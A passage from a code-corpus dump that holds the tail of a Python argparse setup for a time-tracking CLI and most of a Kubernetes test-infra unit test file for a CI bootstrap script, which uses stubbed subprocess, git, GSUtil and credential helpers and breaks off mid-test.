ignored.')\n create_parser.set_defaults(func=create_categories)\n\n start_subparser = subparsers.add_parser('start',\n help='Start a time-tracking'\n 'session with the given'\n 'category.')\n start_subparser.add_argument('category', metavar='C',\n help='Category under which timer is started. '\n 'Abbreviated category name is supported '\n 'as long as unambiugous (e.g. \"w\" for '\n 'work')\n start_subparser.add_argument('-c', '--create', action='store_true',\n help='If flag is set, create the category '\n 'if it does not already exist. If the '\n 'flag is not set (default), then '\n 'nothing will happen.')\n start_subparser.set_defaults(func=start)\n\n status_subparser = subparsers.add_parser('status',\n help='Displays the progress of '\n 'the previous 7 days and '\n 'displays the active '\n 'categories.')\n status_subparser.set_defaults(func=status)\n\n end_subparser = subparsers.add_parser('end', help='Completes the current '\n 'time-tracking session.')\n end_subparser.set_defaults(func=end)\n\n cancel_subparser = subparsers.add_parser('cancel',\n help='Cancels the current time-'\n 'tracking session.')\n cancel_subparser.set_defaults(func=cancel)\n\n parser.add_argument('-i', '--interactive', action='store_true')\n # TODO: implement interactive\n\n args = parser.parse_args()\n args.func(args)\n", "source": "superiorbocal/AnPy", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n# Copyright 2016 The Kubernetes Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for bootstrap.\"\"\"\n\n# pylint: disable=too-many-public-methods, too-many-branches, too-many-locals\n# pylint: disable=protected-access, attribute-defined-outside-init, too-many-statements\n\nimport argparse\nimport collections\nimport json\nimport os\nimport re\nimport select\nimport signal\nimport subprocess\nimport tempfile\nimport time\nimport unittest\n\nimport bootstrap\n\nimport yaml\n\n\nBRANCH = 'random_branch'\nBUILD = 'random_build'\nFAIL = ['/bin/bash', '-c', 'exit 1']\nJOB = 'random_job'\nPASS = ['/bin/bash', '-c', 'exit 0']\nPULL = 12345\nREPO = 'github.com/random_org/random_repo'\nROBOT = 'fake-service-account.json'\nROOT = '/random/root'\nUPLOAD = 'fake-gs://fake-bucket'\n\n\nclass Stub(object):\n \"\"\"Replace thing.param with replacement until exiting with.\"\"\"\n def __init__(self, thing, param, replacement):\n self.thing = thing\n self.param = param\n self.replacement = replacement\n self.old = getattr(thing, param)\n setattr(thing, param, self.replacement)\n\n def __enter__(self, *a, **kw):\n return self.replacement\n\n def __exit__(self, *a, **kw):\n setattr(self.thing, self.param, self.old)\n\n\nclass FakeCall(object):\n def __init__(self):\n self.calls = []\n\n def __call__(self, *a, **kw):\n self.calls.append((a, kw))\n\n\nclass FakeSubprocess(object):\n \"\"\"Keep track of calls.\"\"\"\n def __init__(self):\n self.calls = []\n\n def __call__(self, cmd, *a, **kw):\n self.calls.append((cmd, a, kw))\n\n\n# pylint: disable=invalid-name\ndef Pass(*_a, **_kw):\n \"\"\"Do nothing.\"\"\"\n pass\n\n\ndef Truth(*_a, **_kw):\n \"\"\"Always true.\"\"\"\n return True\n\n\ndef Bomb(*a, **kw):\n \"\"\"Always raise.\"\"\"\n raise AssertionError('Should not happen', a, kw)\n# pylint: enable=invalid-name\n\n\nclass ReadAllTest(unittest.TestCase):\n endless = 0\n ended = time.time() - 50\n number = 0\n end = -1\n\n def fileno(self):\n return self.end\n\n def readline(self):\n line = 'line %d\\n' % self.number\n self.number += 1\n return line\n\n def test_read_more(self):\n \"\"\"Read lines until we clear the buffer, noting there may be more.\"\"\"\n lines = []\n total = 10\n def more_lines(*_a, **_kw):\n if len(lines) < total:\n return [self], [], []\n return [], [], []\n with Stub(select, 'select', more_lines):\n done = bootstrap.read_all(self.endless, self, lines.append)\n\n self.assertFalse(done)\n self.assertEquals(total, len(lines))\n expected = ['line %d' % d for d in range(total)]\n self.assertEquals(expected, lines)\n\n def test_read_expired(self):\n \"\"\"Read nothing as we are expired, noting there may be more.\"\"\"\n lines = []\n with Stub(select, 'select', lambda *a, **kw: ([], [], [])):\n done = bootstrap.read_all(self.ended, self, lines.append)\n\n self.assertFalse(done)\n self.assertFalse(lines)\n\n def test_read_end(self):\n \"\"\"Note we reached the end of the stream.\"\"\"\n lines = []\n with Stub(select, 'select', lambda *a, **kw: ([self], [], [])):\n with Stub(self, 'readline', lambda: ''):\n done = bootstrap.read_all(self.endless, self, lines.append)\n\n self.assertTrue(done)\n\n\nclass TerminateTest(unittest.TestCase):\n \"\"\"Tests for termiante().\"\"\"\n pid = 1234\n pgid = 5555\n terminated = False\n killed = False\n\n def terminate(self):\n self.terminated = True\n\n def kill(self):\n self.killed = True\n\n def getpgid(self, pid):\n self.got = pid\n return self.pgid\n\n def killpg(self, pgig, sig):\n self.killed_pg = (pgig, sig)\n\n def test_terminate_later(self):\n \"\"\"Do nothing if end is in the future.\"\"\"\n timeout = bootstrap.terminate(time.time() + 50, self, False)\n self.assertFalse(timeout)\n\n def test_terminate_never(self):\n \"\"\"Do nothing if end is zero.\"\"\"\n timeout = bootstrap.terminate(0, self, False)\n self.assertFalse(timeout)\n\n def test_terminate_terminate(self):\n \"\"\"Terminate pid if after end and kill is false.\"\"\"\n timeout = bootstrap.terminate(time.time() - 50, self, False)\n self.assertTrue(timeout)\n self.assertFalse(self.killed)\n self.assertTrue(self.terminated)\n\n def test_terminate_kill(self):\n \"\"\"Kill process group if after end and kill is true.\"\"\"\n with Stub(os, 'getpgid', self.getpgid), Stub(os, 'killpg', self.killpg):\n timeout = bootstrap.terminate(time.time() - 50, self, True)\n self.assertTrue(timeout)\n self.assertFalse(self.terminated)\n self.assertTrue(self.killed)\n self.assertEquals(self.pid, self.got)\n self.assertEquals(self.killed_pg, (self.pgid, signal.SIGKILL))\n\n\nclass SubprocessTest(unittest.TestCase):\n \"\"\"Tests for call().\"\"\"\n\n def test_stdin(self):\n \"\"\"Will write to subprocess.stdin.\"\"\"\n with self.assertRaises(subprocess.CalledProcessError) as cpe:\n bootstrap._call(0, ['/bin/bash'], stdin='exit 92')\n self.assertEquals(92, cpe.exception.returncode)\n\n def test_check_true(self):\n \"\"\"Raise on non-zero exit codes if check is set.\"\"\"\n with self.assertRaises(subprocess.CalledProcessError):\n bootstrap._call(0, FAIL, check=True)\n\n bootstrap._call(0, PASS, check=True)\n\n def test_check_default(self):\n \"\"\"Default to check=True.\"\"\"\n with self.assertRaises(subprocess.CalledProcessError):\n bootstrap._call(0, FAIL)\n\n bootstrap._call(0, PASS)\n\n @staticmethod\n def test_check_false():\n \"\"\"Never raise when check is not set.\"\"\"\n bootstrap._call(0, FAIL, check=False)\n bootstrap._call(0, PASS, check=False)\n\n def test_output(self):\n \"\"\"Output is returned when requested.\"\"\"\n cmd = ['/bin/bash', '-c', 'echo hello world']\n self.assertEquals(\n 'hello world\\n', bootstrap._call(0, cmd, output=True))\n\n def test_zombie(self):\n with self.assertRaises(subprocess.CalledProcessError):\n # make a zombie\n bootstrap._call(0, ['/bin/bash', '-c', 'A=$BASHPID && ( kill -STOP $A ) & exit 1'])\n\n\nclass PullRefsTest(unittest.TestCase):\n \"\"\"Tests for pull_ref, branch_ref, ref_has_shas, and pull_numbers.\"\"\"\n\n def test_multiple_no_shas(self):\n \"\"\"Test master,1111,2222.\"\"\"\n self.assertEqual(\n bootstrap.pull_ref('master,123,456'),\n ([\n 'master',\n '+refs/pull/123/head:refs/pr/123',\n '+refs/pull/456/head:refs/pr/456',\n ], [\n 'FETCH_HEAD',\n 'refs/pr/123',\n 'refs/pr/456',\n ]),\n )\n\n def test_pull_has_shas(self):\n self.assertTrue(bootstrap.ref_has_shas('master:abcd'))\n self.assertFalse(bootstrap.ref_has_shas('123'))\n self.assertFalse(bootstrap.ref_has_shas(123))\n self.assertFalse(bootstrap.ref_has_shas(None))\n\n def test_pull_numbers(self):\n self.assertListEqual(bootstrap.pull_numbers(123), ['123'])\n self.assertListEqual(bootstrap.pull_numbers('master:abcd'), [])\n self.assertListEqual(\n bootstrap.pull_numbers('master:abcd,123:qwer,124:zxcv'),\n ['123', '124'])\n\n def test_pull_ref(self):\n self.assertEqual(\n bootstrap.pull_ref('master:abcd,123:effe'),\n (['master', '+refs/pull/123/head:refs/pr/123'], ['abcd', 'effe'])\n )\n self.assertEqual(\n bootstrap.pull_ref('123'),\n (['+refs/pull/123/merge'], ['FETCH_HEAD'])\n )\n\n def test_branch_ref(self):\n self.assertEqual(\n bootstrap.branch_ref('branch:abcd'),\n (['branch'], ['abcd'])\n )\n self.assertEqual(\n bootstrap.branch_ref('master'),\n (['master'], ['FETCH_HEAD'])\n )\n\n\nclass ChooseSshKeyTest(unittest.TestCase):\n \"\"\"Tests for choose_ssh_key().\"\"\"\n def test_empty(self):\n \"\"\"Do not change environ if no ssh key.\"\"\"\n fake_env = {}\n with Stub(os, 'environ', fake_env):\n with bootstrap.choose_ssh_key(''):\n self.assertFalse(fake_env)\n\n def test_full(self):\n fake_env = {}\n with Stub(os, 'environ', fake_env):\n with bootstrap.choose_ssh_key('hello there'):\n self.assertIn('GIT_SSH', fake_env)\n with open(fake_env['GIT_SSH']) as fp:\n buf = fp.read()\n self.assertIn('hello there', buf)\n self.assertIn('ssh ', buf)\n self.assertIn(' -i ', buf)\n self.assertFalse(fake_env) # Resets env\n\n def test_full_old_value(self):\n fake_env = {'GIT_SSH': 'random-value'}\n old_env = dict(fake_env)\n with Stub(os, 'environ', fake_env):\n with bootstrap.choose_ssh_key('hello there'):\n self.assertNotEqual(old_env, fake_env)\n self.assertEquals(old_env, fake_env)\n\n\nclass CheckoutTest(unittest.TestCase):\n \"\"\"Tests for checkout().\"\"\"\n\n def test_clean(self):\n \"\"\"checkout cleans and resets if asked to.\"\"\"\n fake = FakeSubprocess()\n with Stub(os, 'chdir', Pass):\n bootstrap.checkout(fake, REPO, None, PULL, clean=True)\n\n self.assertTrue(any(\n 'clean' in cmd for cmd, _, _ in fake.calls if 'git' in cmd))\n self.assertTrue(any(\n 'reset' in cmd for cmd, _, _ in fake.calls if 'git' in cmd))\n\n def test_fetch_retries(self):\n self.tries = 0\n expected_attempts = 3\n def third_time_charm(cmd, *_a, **_kw):\n if 'fetch' not in cmd: # init/checkout are unlikely to fail\n return\n self.tries += 1\n if self.tries != expected_attempts:\n raise subprocess.CalledProcessError(128, cmd, None)\n with Stub(os, 'chdir', Pass):\n with Stub(time, 'sleep', Pass):\n bootstrap.checkout(third_time_charm, REPO, None, PULL)\n self.assertEquals(expected_attempts, self.tries)\n\n def test_pull_ref(self):\n \"\"\"checkout fetches the right ref for a pull.\"\"\"\n fake = FakeSubprocess()\n with Stub(os, 'chdir', Pass):\n bootstrap.checkout(fake, REPO, None, PULL)\n\n expected_ref = bootstrap.pull_ref(PULL)[0][0]\n self.assertTrue(any(\n expected_ref in cmd for cmd, _, _ in fake.calls if 'fetch' in cmd))\n\n def test_branch(self):\n \"\"\"checkout fetches the right ref for a branch.\"\"\"\n fake = FakeSubprocess()\n with Stub(os, 'chdir', Pass):\n bootstrap.checkout(fake, REPO, BRANCH, None)\n\n expected_ref = BRANCH\n self.assertTrue(any(\n expected_ref in cmd for cmd, _, _ in fake.calls if 'fetch' in cmd))\n\n def test_repo(self):\n \"\"\"checkout initializes and fetches the right repo.\"\"\"\n fake = FakeSubprocess()\n with Stub(os, 'chdir', Pass):\n bootstrap.checkout(fake, REPO, BRANCH, None)\n\n expected_uri = 'https://%s' % REPO\n self.assertTrue(any(\n expected_uri in cmd for cmd, _, _ in fake.calls if 'fetch' in cmd))\n\n def test_branch_xor_pull(self):\n \"\"\"Either branch or pull specified, not both.\"\"\"\n with Stub(os, 'chdir', Bomb):\n with self.assertRaises(ValueError):\n bootstrap.checkout(Bomb, REPO, None, None)\n with self.assertRaises(ValueError):\n bootstrap.checkout(Bomb, REPO, BRANCH, PULL)\n\n def test_happy(self):\n \"\"\"checkout sanity check.\"\"\"\n fake = FakeSubprocess()\n with Stub(os, 'chdir', Pass):\n bootstrap.checkout(fake, REPO, BRANCH, None)\n\n self.assertTrue(any(\n '--tags' in cmd for cmd, _, _ in fake.calls if 'fetch' in cmd))\n self.assertTrue(any(\n 'FETCH_HEAD' in cmd for cmd, _, _ in fake.calls\n if 'checkout' in cmd))\n\nclass ParseReposTest(unittest.TestCase):\n def test_bare(self):\n \"\"\"--bare works.\"\"\"\n self.assertFalse(\n bootstrap.parse_repos(FakeArgs(repo=[], branch=[], pull=[], bare=True)))\n\n def test_deprecated_branch(self):\n \"\"\"--repo=foo --branch=bbb works\"\"\"\n self.assertEquals(\n {'foo': ('bbb', '')},\n bootstrap.parse_repos(FakeArgs(repo=['foo'], branch='bbb', pull='')))\n\n def test_deprecated_branch_commit(self):\n \"\"\"--repo=foo --branch=bbb:1234 works\"\"\"\n self.assertEquals(\n {'foo': ('bbb:1234', '')},\n bootstrap.parse_repos(FakeArgs(repo=['foo'], branch='bbb:1234', pull='')))\n\n def test_depre_branch_repo_commit(self):\n \"\"\"--repo=foo=master:aaa --branch=bar is not allowed\"\"\"\n with self.assertRaises(ValueError):\n bootstrap.parse_repos(FakeArgs(\n repo=['foo=master:aaa'], branch='master'))\n with self.assertRaises(ValueError):\n bootstrap.parse_repos(FakeArgs(\n repo=['foo=master'], branch='bar'))\n\n def test_deprecated_pull(self):\n \"\"\"--repo=foo --pull=123 works.\"\"\"\n self.assertEquals(\n {'foo': ('', '123:abc,333:ddd')},\n bootstrap.parse_repos(FakeArgs(repo=['foo'], branch='', pull='123:abc,333:ddd')))\n\n\n def test_depre_pull_repo_commit(self):\n \"\"\"--repo=foo=master:aaa --pull=123:abc is not allowed\"\"\"\n with self.assertRaises(ValueError):\n bootstrap.parse_repos(FakeArgs(\n repo=['foo=master:aaa'], branch='', pull='123:abc'))\n with self.assertRaises(ValueError):\n bootstrap.parse_repos(FakeArgs(\n repo=['foo=master'], branch='', pull='123:abc'))\n\n def test_plain(self):\n \"\"\"\"--repo=foo equals foo=master.\"\"\"\n self.assertEquals(\n {'foo': ('master', '')},\n bootstrap.parse_repos(FakeArgs(repo=['foo'], branch='', pull='')))\n\n def test_branch(self):\n \"\"\"--repo=foo=branch.\"\"\"\n self.assertEquals(\n {'foo': ('this', '')},\n bootstrap.parse_repos(\n FakeArgs(repo=['foo=this'], branch='', pull='')))\n\n def test_branch_commit(self):\n \"\"\"--repo=foo=branch:commit works.\"\"\"\n self.assertEquals(\n {'foo': ('this:abcd', '')},\n bootstrap.parse_repos(\n FakeArgs(repo=['foo=this:abcd'], branch='', pull='')))\n\n def test_parse_repos(self):\n \"\"\"--repo=foo=111,222 works\"\"\"\n self.assertEquals(\n {'foo': ('', '111,222')},\n bootstrap.parse_repos(FakeArgs(\n repo=['foo=111,222'], branch='', pull='')))\n\n def test_pull_branch(self):\n \"\"\"--repo=foo=master,111,222 works\"\"\"\n self.assertEquals(\n {'foo': ('', 'master,111,222')},\n bootstrap.parse_repos(\n FakeArgs(repo=['foo=master,111,222'], branch='', pull='')))\n\n def test_pull_release_branch(self):\n \"\"\"--repo=foo=release-3.14,&a-fancy%_branch+:abcd,222 works\"\"\"\n self.assertEquals(\n {'foo': ('', 'release-3.14,&a-fancy%_branch+:abcd,222')},\n bootstrap.parse_repos(\n FakeArgs(repo=['foo=release-3.14,&a-fancy%_branch+:abcd,222'],\n branch='', pull='')))\n\n def test_pull_branch_commit(self):\n \"\"\"--repo=foo=master,111,222 works\"\"\"\n self.assertEquals(\n {'foo': ('', 'master:aaa,111:bbb,222:ccc')},\n bootstrap.parse_repos(FakeArgs(\n repo=['foo=master:aaa,111:bbb,222:ccc'], branch='', pull='')))\n\n def test_multi_repo(self):\n \"\"\"--repo=foo=master,111,222 bar works\"\"\"\n self.assertEquals(\n {\n 'foo': ('', 'master:aaa,111:bbb,222:ccc'),\n 'bar': ('master', '')},\n bootstrap.parse_repos(\n FakeArgs(branch='', pull='', repo=[\n 'foo=master:aaa,111:bbb,222:ccc',\n 'bar',\n ])))\n\n\nclass GSUtilTest(unittest.TestCase):\n \"\"\"Tests for GSUtil.\"\"\"\n def test_upload_json(self):\n fake = FakeSubprocess()\n gsutil = bootstrap.GSUtil(fake)\n gsutil.upload_json('fake_path', {'wee': 'fun'})\n self.assertTrue(any(\n 'application/json' in a for a in fake.calls[0][0]))\n self.assertIn('stdin', fake.calls[0][2]) # kwargs\n\n def test_upload_text_cached(self):\n fake = FakeSubprocess()\n gsutil = bootstrap.GSUtil(fake)\n gsutil.upload_text('fake_path', 'hello world', cached=True)\n self.assertFalse(any(\n 'Cache-Control' in a and 'max-age' in a\n for a in fake.calls[0][0]))\n self.assertIn('stdin', fake.calls[0][2]) # kwargs\n\n def test_upload_text_default(self):\n fake = FakeSubprocess()\n gsutil = bootstrap.GSUtil(fake)\n gsutil.upload_text('fake_path', 'hello world')\n self.assertFalse(any(\n 'Cache-Control' in a and 'max-age' in a\n for a in fake.calls[0][0]))\n self.assertIn('stdin', fake.calls[0][2]) # kwargs\n\n def test_upload_text_uncached(self):\n fake = FakeSubprocess()\n gsutil = bootstrap.GSUtil(fake)\n gsutil.upload_text('fake_path', 'hello world', cached=False)\n self.assertTrue(any(\n 'Cache-Control' in a and 'max-age' in a\n for a in fake.calls[0][0]))\n self.assertIn('stdin', fake.calls[0][2]) # kwargs\n\n\nclass FakeGSUtil(object):\n generation = 123\n\n def __init__(self):\n self.cats = []\n self.jsons = []\n self.stats = []\n self.texts = []\n\n def cat(self, *a, **kw):\n self.cats.append((a, kw))\n return 'this is not a list'\n\n def stat(self, *a, **kw):\n self.stats.append((a, kw))\n return 'Generation: %s' % self.generation\n\n def upload_text(self, *args, **kwargs):\n self.texts.append((args, kwargs))\n\n def upload_json(self, *args, **kwargs):\n self.jsons.append((args, kwargs))\n\nclass GubernatorUriTest(unittest.TestCase):\n def create_path(self, uri):\n self.fake_path = FakePath()\n self.fake_path.build_log = uri\n return self.fake_path\n\n def test_non_gs(self):\n uri = 'hello/world'\n self.assertEquals('hello', bootstrap.gubernator_uri(self.create_path(uri)))\n\n def test_multiple_gs(self):\n uri = 'gs://hello/gs://there'\n self.assertEquals(\n bootstrap.GUBERNATOR + '/hello/gs:',\n bootstrap.gubernator_uri(self.create_path(uri)))\n\n def test_gs(self):\n uri = 'gs://blah/blah/blah.txt'\n self.assertEquals(\n bootstrap.GUBERNATOR + '/blah/blah',\n bootstrap.gubernator_uri(self.create_path(uri)))\n\n\n\nclass AppendResultTest(unittest.TestCase):\n \"\"\"Tests for append_result().\"\"\"\n\n def test_new_job(self):\n \"\"\"Stat fails when the job doesn't exist.\"\"\"\n gsutil = FakeGSUtil()\n build = 123\n version = 'v.interesting'\n success = True\n def fake_stat(*_a, **_kw):\n raise subprocess.CalledProcessError(1, ['gsutil'], None)\n gsutil.stat = fake_stat\n bootstrap.append_result(gsutil, 'fake_path', build, version, success)\n cache = gsutil.jsons[0][0][1]\n self.assertEquals(1, len(cache))\n\n def test_collision_cat(self):\n \"\"\"cat fails if the cache has been updated.\"\"\"\n gsutil = FakeGSUtil()\n build = 42\n version = 'v1'\n success = False\n generations = ['555', '444']\n orig_stat = gsutil.stat\n def fake_stat(*a, **kw):\n gsutil.generation = generations.pop()\n return orig_stat(*a, **kw)\n def fake_cat(_, gen):\n if gen == '555': # Which version is requested?\n return '[{\"hello\": 111}]'\n raise subprocess.CalledProcessError(1, ['gsutil'], None)\n with Stub(bootstrap, 'random_sleep', Pass):\n with Stub(gsutil, 'stat', fake_stat):\n with Stub(gsutil, 'cat', fake_cat):\n bootstrap.append_result(\n gsutil, 'fake_path', build, version, success)\n self.assertIn('generation', gsutil.jsons[-1][1], gsutil.jsons)\n self.assertEquals('555', gsutil.jsons[-1][1]['generation'], gsutil.jsons)\n\n def test_collision_upload(self):\n \"\"\"Test when upload_json tries to update an old version.\"\"\"\n gsutil = FakeGSUtil()\n build = 42\n version = 'v1'\n success = False\n generations = [555, 444]\n orig = gsutil.upload_json\n def fake_upload(path, cache, generation):\n if generation == '555':\n return orig(path, cache, generation=generation)\n raise subprocess.CalledProcessError(128, ['gsutil'], None)\n orig_stat = gsutil.stat\n def fake_stat(*a, **kw):\n gsutil.generation = generations.pop()\n return orig_stat(*a, **kw)\n def fake_cat(*_a, **_kw):\n return '[{\"hello\": 111}]'\n gsutil.stat = fake_stat\n gsutil.upload_json = fake_upload\n gsutil.cat = fake_cat\n with Stub(bootstrap, 'random_sleep', Pass):\n bootstrap.append_result(\n gsutil, 'fake_path', build, version, success)\n self.assertIn('generation', gsutil.jsons[-1][1], gsutil.jsons)\n self.assertEquals('555', gsutil.jsons[-1][1]['generation'], gsutil.jsons)\n\n def test_handle_junk(self):\n gsutil = FakeGSUtil()\n gsutil.cat = lambda *a, **kw: '!@!$!@$@!$'\n build = 123\n version = 'v.interesting'\n success = True\n bootstrap.append_result(gsutil, 'fake_path', build, version, success)\n cache = gsutil.jsons[0][0][1]\n self.assertEquals(1, len(cache))\n self.assertIn(build, cache[0].values())\n self.assertIn(version, cache[0].values())\n\n def test_passed_is_bool(self):\n build = 123\n version = 'v.interesting'\n def try_run(success):\n gsutil = FakeGSUtil()\n bootstrap.append_result(gsutil, 'fake_path', build, version, success)\n cache = gsutil.jsons[0][0][1]\n self.assertTrue(isinstance(cache[0]['passed'], bool))\n\n try_run(1)\n try_run(0)\n try_run(None)\n try_run('')\n try_run('hello')\n try_run('true')\n\n def test_truncate(self):\n old = json.dumps({n: True for n in range(100000)})\n gsutil = FakeGSUtil()\n build = 123\n version = 'v.interesting'\n success = True\n bootstrap.append_result(gsutil, 'fake_path', build, version, success)\n cache = gsutil.jsons[0][0][1]\n self.assertLess(len(cache), len(old))\n\n\nclass FinishTest(unittest.TestCase):\n \"\"\"Tests for finish().\"\"\"\n def setUp(self):\n self.stubs = [\n Stub(bootstrap.GSUtil, 'upload_artifacts', Pass),\n Stub(bootstrap, 'append_result', Pass),\n Stub(os.path, 'isfile', Pass),\n Stub(os.path, 'isdir', Pass),\n ]\n\n def tearDown(self):\n for stub in self.stubs:\n with stub:\n pass\n\n def test_no_version(self):\n gsutil = FakeGSUtil()\n paths = FakePath()\n success = True\n artifacts = 'not-a-dir'\n no_version = ''\n version = 'should not have found it'\n repos = repo({REPO: ('master', '')})\n with Stub(bootstrap, 'metadata', lambda *a: {'random-meta': version}):\n bootstrap.finish(gsutil, paths, success, artifacts,\n BUILD, no_version, repos, FakeCall())\n bootstrap.finish(gsutil, paths, success, artifacts, BUILD, no_version, repos, FakeCall())\n calls = gsutil.jsons[-1]\n # json data is second positional argument\n self.assertNotIn('job-version', calls[0][1])\n self.assertNotIn('version', calls[0][1])\n self.assertTrue(calls[0][1].get('metadata'))\n\n def test_metadata_version(self):\n \"\"\"Test that we will extract version info from metadata.\"\"\"\n self.check_metadata_version('job-version')\n self.check_metadata_version('version')\n\n def check_metadata_version(self, key):\n gsutil = FakeGSUtil()\n paths = FakePath()\n success = True\n artifacts = 'not-a-dir'\n no_version = ''\n version = 'found it'\n with Stub(bootstrap, 'metadata', lambda *a: {key: version}):\n bootstrap.finish(gsutil, paths, success, artifacts, BUILD, no_version, REPO, FakeCall())\n calls = gsutil.jsons[-1]\n # Meta is second positional argument\n self.assertEquals(version, calls[0][1].get('job-version'))\n self.assertEquals(version, calls[0][1].get('version'))\n\n def test_ignore_err_up_artifacts(self):\n paths = FakePath()\n gsutil = FakeGSUtil()\n local_artifacts = None\n build = 123\n version = 'v1.terrible'\n success = True\n calls = []\n with Stub(os.path, 'isdir', lambda _: True):\n with Stub(os, 'walk', lambda d: [(True, True, True)]):\n def fake_upload(*a, **kw):\n calls.append((a, kw))\n raise subprocess.CalledProcessError(1, ['fakecmd'], None)\n gsutil.upload_artifacts = fake_upload\n repos = repo({REPO: ('master', '')})\n bootstrap.finish(\n gsutil, paths, success, local_artifacts,\n build, version, repos, FakeCall())\n self.assertTrue(calls)\n\n\n def test_ignore_error_uploadtext(self):\n paths = FakePath()\n gsutil = FakeGSUtil()\n local_artifacts = None\n build = 123\n version = 'v1.terrible'\n success = True\n calls = []\n with Stub(os.path, 'isdir', lambda _: True):\n with Stub(os, 'walk', lambda d: [(True, True, True)]):\n def fake_upload(*a, **kw):\n calls.append((a, kw))\n raise subprocess.CalledProcessError(1, ['fakecmd'], None)\n gsutil.upload_artifacts = Pass\n gsutil.upload_text = fake_upload\n repos = repo({REPO: ('master', '')})\n bootstrap.finish(\n gsutil, paths, success, local_artifacts,\n build, version, repos, FakeCall())\n self.assertTrue(calls)\n self.assertGreater(calls, 1)\n\n def test_skip_upload_artifacts(self):\n \"\"\"Do not upload artifacts dir if it doesn't exist.\"\"\"\n paths = FakePath()\n gsutil = FakeGSUtil()\n local_artifacts = None\n build = 123\n version = 'v1.terrible'\n success = True\n calls = []\n with Stub(os.path, 'isdir', lambda _: False):\n with Stub(bootstrap.GSUtil, 'upload_artifacts', Bomb):\n repos = repo({REPO: ('master', '')})\n bootstrap.finish(\n gsutil, paths, success, local_artifacts,\n build, version, repos, FakeCall())\n self.assertFalse(calls)\n\n\nclass MetadataTest(unittest.TestCase):\n\n def test_always_set_metadata(self):\n repos = repo({REPO: ('master', '')})\n meta = bootstrap.metadata(repos, 'missing-artifacts-dir', FakeCall())\n self.assertIn('repo', meta)\n self.assertEquals(REPO, meta['repo'])\n\n def test_multi_repo(self):\n repos = repo({REPO: ('foo', ''), 'other-repo': ('', '123,456')})\n meta = bootstrap.metadata(repos, 'missing-artifacts-dir', FakeCall())\n self.assertIn('repo', meta)\n self.assertEquals(REPO, meta['repo'])\n self.assertIn(REPO, meta.get('repos'))\n self.assertEquals('foo', meta['repos'][REPO])\n self.assertIn('other-repo', meta.get('repos'))\n self.assertEquals('123,456', meta['repos']['other-repo'])\n\n\nSECONDS = 10\n\n\ndef fake_environment(set_home=True, set_node=True, set_job=True, **kwargs):\n if set_home:\n kwargs.setdefault(bootstrap.HOME_ENV, '/fake/home-dir')\n if set_node:\n kwargs.setdefault(bootstrap.NODE_ENV, 'fake-node')\n if set_job:\n kwargs.setdefault(bootstrap.JOB_ENV, JOB)\n return kwargs\n\n\nclass BuildNameTest(unittest.TestCase):\n \"\"\"Tests for build_name().\"\"\"\n\n def test_auto(self):\n \"\"\"Automatically select a build if not done by user.\"\"\"\n with Stub(os, 'environ', fake_environment()) as fake:\n bootstrap.build_name(SECONDS)\n self.assertTrue(fake[bootstrap.BUILD_ENV])\n\n def test_manual(self):\n \"\"\"Respect user-selected build.\"\"\"\n with Stub(os, 'environ', fake_environment()) as fake:\n truth = 'erick is awesome'\n fake[bootstrap.BUILD_ENV] = truth\n self.assertEquals(truth, fake[bootstrap.BUILD_ENV])\n\n def test_unique(self):\n \"\"\"New build every minute.\"\"\"\n with Stub(os, 'environ', fake_environment()) as fake:\n bootstrap.build_name(SECONDS)\n first = fake[bootstrap.BUILD_ENV]\n del fake[bootstrap.BUILD_ENV]\n bootstrap.build_name(SECONDS + 60)\n self.assertNotEqual(first, fake[bootstrap.BUILD_ENV])\n\n\nclass SetupCredentialsTest(unittest.TestCase):\n \"\"\"Tests for setup_credentials().\"\"\"\n\n def setUp(self):\n keys = {\n bootstrap.GCE_KEY_ENV: 'fake-key',\n bootstrap.SERVICE_ACCOUNT_ENV: 'fake-service-account.json',\n }\n self.env = fake_environment(**keys)\n\n def test_norobot_noupload_noenv(self):\n \"\"\"Can avoid setting up credentials.\"\"\"\n del self.env[bootstrap.SERVICE_ACCOUNT_ENV]\n with Stub(os, 'environ', self.env):\n bootstrap.setup_credentials(Bomb, None, None)\n\n def test_upload_no_robot_raises(self):\n del self.env[bootstrap.SERVICE_ACCOUNT_ENV]\n with Stub(os, 'environ', self.env):\n with self.assertRaises(ValueError):\n bootstrap.setup_credentials(Pass, None, 'gs://fake')\n\n\n def test_application_credentials(self):\n \"\"\"Raise if GOOGLE_APPLICATION_CREDENTIALS does not exist.\"\"\"\n del self.env[bootstrap.SERVICE_ACCOUNT_ENV]\n with Stub(os, 'environ', self.env) as fake:\n gac = 'FAKE_CREDS.json'\n fake['HOME'] = 'kansas'\n with Stub(os.path, 'isfile', lambda p: p != gac):\n with self.assertRaises(IOError):\n bootstrap.setup_credentials(Pass, gac, UPLOAD)\n\n with Stub(os.path, 'isfile', Truth):\n call = lambda *a, **kw: 'robot'\n bootstrap.setup_credentials(call, gac, UPLOAD)\n # setup_creds should set SERVICE_ACCOUNT_ENV\n self.assertEquals(gac, fake.get(bootstrap.SERVICE_ACCOUNT_ENV))\n # now that SERVICE_ACCOUNT_ENV is set, it should try to activate\n # this\n with Stub(os.path, 'isfile', lambda p: p != gac):\n with self.assertRaises(IOError):\n bootstrap.setup_credentials(Pass, None, UPLOAD)\n\n\nclass SetupMagicEnvironmentTest(unittest.TestCase):\n def test_workspace(self):\n \"\"\"WORKSPACE exists, equals HOME and is set to cwd.\"\"\"\n env = fake_environment()\n cwd = '/fake/random-location'\n with Stub(os, 'environ', env):\n with Stub(os, 'getcwd', lambda: cwd):\n bootstrap.setup_magic_environment(JOB)\n\n self.assertIn(bootstrap.WORKSPACE_ENV, env)\n self.assertEquals(env[bootstrap.HOME_ENV], env[bootstrap.WORKSPACE_ENV])\n self.assertEquals(cwd, env[bootstrap.WORKSPACE_ENV])\n\n def test_job_env_mismatch(self):\n env = fake_environment()\n with Stub(os, 'environ', env):\n self.assertNotEquals('this-is-a-job', env[bootstrap.JOB_ENV])\n bootstrap.setup_magic_environment('this-is-a-job')\n self.assertEquals('this-is-a-job', env[bootstrap.JOB_ENV])\n\n def test_expected(self):\n env = fake_environment()\n del env[bootstrap.JOB_ENV]\n del 